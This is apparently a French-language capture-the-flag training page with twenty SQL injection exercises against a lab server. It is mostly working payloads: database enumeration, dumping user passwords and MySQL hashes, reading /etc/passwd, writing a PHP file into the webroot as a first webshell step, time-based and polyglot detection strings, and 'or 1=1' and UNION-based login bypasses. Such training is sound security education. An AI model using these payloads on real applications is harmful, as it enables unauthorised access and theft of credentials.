Hacker Lab


L'exploitation d'injection SQL va du très simple au très compliqué, mais la méthode reste toujours la même:

Savoir exploiter la base de donnée
Le langage SQL permet d'écrire des requêtes qui fonctionnent sur la majorité des systèmes.
Mais pour extraire les informations bas niveau (version, nom des tables, colonnes...), la syntaxe va dépendre de la base de donnée: mysql/mariadb, MS SQL Server, Oracle, PostgreSQL...
Il faut donc connaitre la syntaxe et les commandes systèmes propres à chaque base de donnée.

Détecter l'injection
La détection se fait en remplaçant une valeur par une fonction qui génère cette même valeur, en générant une erreur, ou en injectant une commande sleep et en constatant le délai.

Comprendre la requête SQL
Deviner la syntaxe de la requête SQL pour pouvoir injecter des commandes.

Injecter une commande
On peut vouloir forcer un login, ou afficher le contenu d'une base.

Bypasser un éventuel filtre
Les développeurs filtrent généralement les inputs: detection d'espace, de ' ou de "
Il est parfois possible de contourner ces filtres

Exploitation des résultats
Le résultat d'une requête SQL peut être l'affichage de données. Dans ce cas, il faut identifie les champs, leur type, invalider les données légitimes et injecter les données à afficher.
La requête peut ne rien afficher. Dans ce cas il faut générer des erreurs ou des délais et deviner les données avec des tests logiques.

De nombreux cheat-sheets existent:
http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
https://www.websec.ca/kb/sql_injection#MySQL_Default_Databases

SQLite:
SQLite sheet: https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet
https://thanat0s.trollprod.org/2013/01/sqlite-le-mal-aime-des-sqli/

Démarrez votre serveur dédié en cliquant sur [Start server].


Server status : stopped


1 / 20 - SQL: vérifier que la base de donnée est mySQL, et obtenir sa version
10
http://yoloctf.org/ctf-train-sqli/request_mysql.php 
http://yoloctf.org/ctf-train-sqli_/request_mysql.php 

Identifier la base de donnée utilisée:

MySQL: SELECT @@version 
2 / 20 - Lister les databases
10
http://yoloctf.org/ctf-train-sqli/request_mysql.php 
http://yoloctf.org/ctf-train-sqli_/request_mysql.php 

Lister les databases.
Il est possible d'obtenir la liste des bases de données avec la commande SHOW ou un SELECT.
Lors d'un injection il sera plus simple d'utiliser un SELECT.

SHOW Databases 
SELECT schema_name FROM information_schema.schemata; 

Il y a d'un coté les tables internes à mySQL, et d'un autre coté les bases applicatives qui contiennent les données dont login/password de l'application.
Les tables internes sont:

information_schema 
mysql 
performance_schema 

Il est possible d'en extraire les identifiants utilisés pour se connecter et faire les requêtes SQL.

Le flag est le nom de la table contenant les données de l'application du ctf.

3 / 20 - Lister les tables
10
http://yoloctf.org/ctf-train-sqli/request_mysql.php 
http://yoloctf.org/ctf-train-sqli_/request_mysql.php 

Lister les tables d'une databases.

SELECT table_name FROM information_schema.tables WHERE table_schema = 'xxx' 


Le flag est le nom de la table qui contient les informations sur les utilisateurs.
Le nom de cette table est passée dans l'usage courant, et il est souvent possible de requêter dessus en aveugle.

4 / 20 - Lister les colonnes d'une table
10
show columns from  users 
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS  WHERE TABLE_SCHEMA='ctfdb' AND TABLE_NAME='users' 

Le flag est le nom de la colonne contenant le nom de l'utilisateur.

5 / 20 - Afficher le contenu d'une table
10
SELECT * from users 
SELECT id, login from users 

Le flag est le mot de passe de max

6 / 20 - Afficher le user avec lequel nous sommes conneté à mysql
10

Le serveur web se connecte à un serveur mysql avec des identifiants login/password souvent configurés dans les fichiers php.
mySQL gère des droits d'accès pour chaque utilisateur.
Pour connaitre l'utilisateur courant:

SELECT user(); 
SELECT system_user(); 

Si vous avez les droits, afficher la liste des users et les mots de passe hashés

SELECT user FROM mysql.user; 
SELECT host, user, password FROM mysql.user; 

Essayer les commandes en tant que root, puis en tant que ctfuser.
Le flag est le hash du mot de passe de ctfuser

7 / 20 - Afficher le contenu d'un fichier
10

Si la requête sont faites par un utilisateur en ayant les droits, il est possible d'afficher tout fichier lisible par le process.

SELECT LOAD_FILE('/etc/passwd') 

Lancer la requête en tant que user root, puis ctfuser.
Le flag est le mot de passe de max

8 / 20 - Ecrire un fichier sur le disque... avec un webshell
10

Si la requête sont faites par un utilisateur en ayant les droits, il est possible d'écrire des fichiers.

SELECT * FROM users INTO dumpfile '/var/www/html/yolo.php' 
SELECT '<?php phpinfo(); ?>' INTO dumpfile '/var/www/html/yolo.php' 

Lancer la requête en tant que user root, puis ctfuser.
Si vous pouvez créer ce fichier, et y accéder, vous pouvez lancer un reverse shell.

9 / 20 - Types de requêtes SQL classiques à base de SELECT
10

Input de type int

SELECT * from users WHERE id=ARG1 

Input de type string

SELECT id, name, password from users WHERE name='ARG1' 

Plusieurs arguments

SELECT id, name, password from users WHERE name='ARG1' and password='ARG2' 
10 / 20 - Detection sur paramètre de type int
10
1 => SELECT * from users WHERE id=1 

Effectuer un calcul et vérifier que le résultat ne change pas

0+1 => SELECT * from users WHERE id=0+1 

Générer une erreur

1" => SELECT * from users WHERE id=1" 
SELECT * from users WHERE id=1' 
SELECT * from users WHERE id=1') 

Générer un delai

1 or SLEEP(3) 
11 / 20 - Detection sur paramètre de type string
10
max => SELECT * from users WHERE login='max' 

Concaténer deux strings et vérifier que le résultat ne change pas

SQLite: m'||'ax => SELECT * from users WHERE login='m'||'ax' 

Générer une erreur

SELECT * from users WHERE id=max" 
SELECT * from users WHERE id=max' 
SELECT * from users WHERE id=max') 

Générer un delai. La valeur start valant 0, substr retourne une string nulle.

SQLite: max' || substr(upper(hex(randomblob(99999999))),0,1) 
12 / 20 - Détecter un sqli avec un polyglot
10

Un polyglot est un SQLi qui fonctionne aussi bien sur un int que sur une string.

SLEEP(3) /*' or SLEEP(3) or '" or SLEEP(3) or "*/ 
13 / 20 - Forcer l'authentification: première entrée de la base: or 1=1
10
aa' or 1=1 
14 / 20 - Forcer l'authentification: première entrée de la base: or 1=1 LIMIT 1
10
aa' or 1=1 LIMIT 1  -- - 
15 / 20 - Forcer l'authentification: choisir une entrée de la base: or 1=1 LIMIT 1 OFFSET 1
10
aa' or 1=1 LIMIT 1 OFFSET 2  -- - 
16 / 20 - Forcer l'authentification: injecter une valeur: and 1=0 union select 'admin'
10
aa' and 1=0 UNION SELECT 'admin' 
17 / 20 - Forcer l'authentification: injecter une valeur: determiner le nombre de champs de la requête: UNION SELECT 1,2,3,4
10
aa' and 1=0 UNION SELECT 1 
aa' and 1=0 UNION SELECT 1,2 
aa' and 1=0 UNION SELECT 1,2,3 
aa' and 1=0 UNION SELECT 1,2,3,4 
18 / 20 - Forcer une authentification en injectant login et passwd md5
10
admin' AND 1=0 UNION ALL SELECT 'admin', MD5(1234) 
19 / 20 - Utiliser l'authentification pour récupérer des informations en aveugle sur les bases de donnes
10
20 / 20 - Injecter via un header HTTP
10

curl xxx